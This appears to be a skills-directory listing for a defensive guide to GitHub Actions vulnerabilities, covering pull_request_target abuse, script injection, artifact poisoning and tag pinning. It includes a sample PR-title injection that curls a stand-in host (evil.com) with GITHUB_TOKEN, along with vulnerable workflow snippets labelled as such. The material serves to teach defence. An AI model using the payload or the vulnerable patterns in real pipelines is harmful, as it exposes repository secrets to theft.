Skip to content
Back to skills

Github Actions Vulnerability Mitigation

BSecurity

Mitigates critical GitHub Actions attack vectors including Pwn Requests (pull_request_target abuse), script injection via untrusted context variable interpolation, artifact poisoning through workflow_run, and supply chain breaches via tag mutability. Use when: (1) handling pull_request_target, issue_comment, or workflow_run triggers, (2) processing external data from untrusted fork repositories, (3) interpolating GitHub context variables in shell scripts, (4) downloading and consuming artifac...

  • 2 stars
  • 0 votes
  • 0 copies
  • 4 views
  • Added September 29, 2026
ai-agentsrustshellbashrailsgitci/cdsecurityperformance

Security analysis

B88/100
  • mediumUses curl or wget to download content
  • mediumInstalls packages at runtime which could introduce malicious dependencies

Pro shows the line behind each finding and how to fix it

Scanned September 29, 2026

npx -y skills add talkops-ai/opscode --skill github-actions-vulnerability-mitigation --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Github Actions Vulnerability Mitigation?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Github Actions Vulnerability Mitigation
[![Security: B — Skills Directory](https://www.skillsdirectory.com/api/skills/talkops-ai-github-actions-vulnerability-mitigation/badge)](https://www.skillsdirectory.com/skills/talkops-ai-github-actions-vulnerability-mitigation)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: github-actions-vulnerability-mitigation
description: >
  Mitigates critical GitHub Actions attack vectors including Pwn Requests
  (pull_request_target abuse), script injection via untrusted context variable
  interpolation, artifact poisoning through workflow_run, and supply chain
  breaches via tag mutability. Use when: (1) handling pull_request_target,
  issue_comment, or workflow_run triggers, (2) processing external data from
  untrusted fork repositories, (3) interpolating GitHub context variables in
  shell scripts, (4) downloading and consuming artifacts from preceding
  unprivileged workflows, or (5) auditing existing workflows for injection
  vulnerabilities. Do NOT use for basic token scoping or dependency pinning
  (use github-actions-security-hardening) or caching/artifacts (use
  github-actions-performance).
license: MIT
compatibility: designed for opscode
---

# GitHub Actions Vulnerability Mitigation & Threat Defense

Strict guardrails against catastrophic attack vectors — Pwn Requests, script injection, artifact poisoning, and supply chain breaches.

---

## Core Principles

1. **Assume Untrusted**: All external inputs (PR titles, branch names, issue bodies, fork code) are hostile.
2. **Privilege Isolation**: Never execute untrusted code in a privileged context.
3. **Validate Before Consume**: Never blindly execute or interpolate artifact content from unprivileged workflows.
4. **Pin Everything**: Mutable tags are attack surfaces — pin to full SHA hashes.

---

## When to Use This Skill

- Workflow triggers on sensitive events: `pull_request_target`, `issue_comment`, `workflow_run`
- Workflow must process external data from a potentially untrusted fork
- Any workflow interpolating GitHub context variables in shell scripts

---

## Threat 1: The Pwn Request (`pull_request_target`)

### The Attack

`pull_request_target` executes in the **base repository context**, granting access to:
- Repository secrets
- Write permissions to the repository
- Privileged GITHUB_TOKEN

If the workflow checks out untrusted PR code (`ref: ${{ github.event.pull_request.head.sha }}`) and executes it (e.g., `npm install`, `make`, script execution), attackers can:
- Exfiltrate all repository secrets to external servers
- Alter release artifacts
- Push malicious code to the main branch

### Absolute Rule

> **NEVER** check out and execute untrusted pull request code within a `pull_request_target` context.

```yaml
# ❌ CATASTROPHIC — executes attacker-controlled code with full secrets access
on: pull_request_target
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}    # Untrusted code!
      - run: npm install    # Executes attacker's package.json with secrets

# ✅ SAFE — use unprivileged pull_request trigger for untrusted code
on: pull_request
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
        with:
          persist-credentials: false
      - run: npm install    # Runs in isolated, unprivileged context
```

### When `pull_request_target` IS Appropriate

Only for **metadata-only operations** that never execute fork code:
- Labelling PRs based on file paths
- Posting automated review comments
- Assigning reviewers

---

## Threat 2: Script Injection via Untrusted Input

### The Attack

GitHub context variables like `${{ github.event.pull_request.title }}` are string-interpolated **before** the shell executes. An attacker crafting a PR title like:

```
"; curl -s https://evil.com/exfil?token=$GITHUB_TOKEN; echo "
```

achieves arbitrary code execution within the runner.

### Mandatory Fix

**Never** interpolate GitHub context variables directly in `run:` blocks. Map them to environment variables first:

```yaml
# ❌ VULNERABLE — direct interpolation allows bash injection
- run: echo "Processing PR: ${{ github.event.pull_request.title }}"

# ✅ SAFE — mapped to environment variable, shell-escaped
- name: Safely log untrusted PR title
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: |
    echo "Processing PR: $PR_TITLE"
```

### Dangerous Context Variables (Always Map to `env:`)

| Variable | Attack Surface |
|---|---|
| `github.event.pull_request.title` | PR title injection |
| `github.event.pull_request.body` | PR body injection |
| `github.event.issue.title` | Issue title injection |
| `github.event.issue.body` | Issue body injection |
| `github.event.comment.body` | Comment body injection |
| `github.event.head_commit.message` | Commit message injection |
| `github.head_ref` | Branch name injection |

---

## Threat 3: Artifact Poisoning via `workflow_run`

### The Attack

The `workflow_run` event enables a privileged pipeline to run after an unprivileged `pull_request` workflow completes. Communication relies on artifact passing:

1. Attacker submits malicious PR → unprivileged workflow uploads poisoned artifact
2. `workflow_run` downloads and processes the artifact in a **privileged context**
3. If the artifact content is executed or interpolated, attacker achieves code execution with secrets access

### Mandatory Defenses

```yaml
on:
  workflow_run:
    workflows: ["CI Build"]
    types: [completed]

jobs:
  process:
    runs-on: ubuntu-latest
    steps:
      - name: Download artifact
        uses: actions/download-artifact@v4
        with:
          name: build-output
          run-id: ${{ github.event.workflow_run.id }}

      # ✅ VALIDATE before consuming — treat as hostile
      - name: Validate artifact integrity
        run: |
          # Verify expected file structure
          test -f build-output/manifest.json || exit 1
          # Check for unexpected executable files
          find build-output -type f -executable -print -quit | grep -q . && exit 1
          # Validate JSON structure
          jq empty build-output/manifest.json
```

**Rules:**
- **Never** execute binary artifacts or shell scripts downloaded from `workflow_run`
- **Always** validate artifact structure and contents before consumption
- Treat all downloaded content as fundamentally hostile

---

## Threat 4: Supply Chain Breaches (Tag Mutability)

### The tj-actions/changed-files Incident

Attackers compromised a maintainer's PAT and retroactively mutated **all release tags** (v1–v45) to point to a malicious commit. The injected payload:
1. Targeted the `Runner.Worker` process
2. Dumped process memory to extract embedded CI/CD secrets
3. Base64-encoded secrets and printed them to **public workflow logs**

### Defense: Full SHA Pinning

```yaml
# ❌ VULNERABLE — tag can be retroactively changed
- uses: tj-actions/changed-files@v45

# ✅ IMMUNE — SHA hash is cryptographically immutable
- uses: tj-actions/changed-files@<verified-sha-hash> # v45.0.0
```

This is enforced by the **github-actions-security-hardening** skill's dependency pinning directive and validated by **zizmor** static analysis.

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.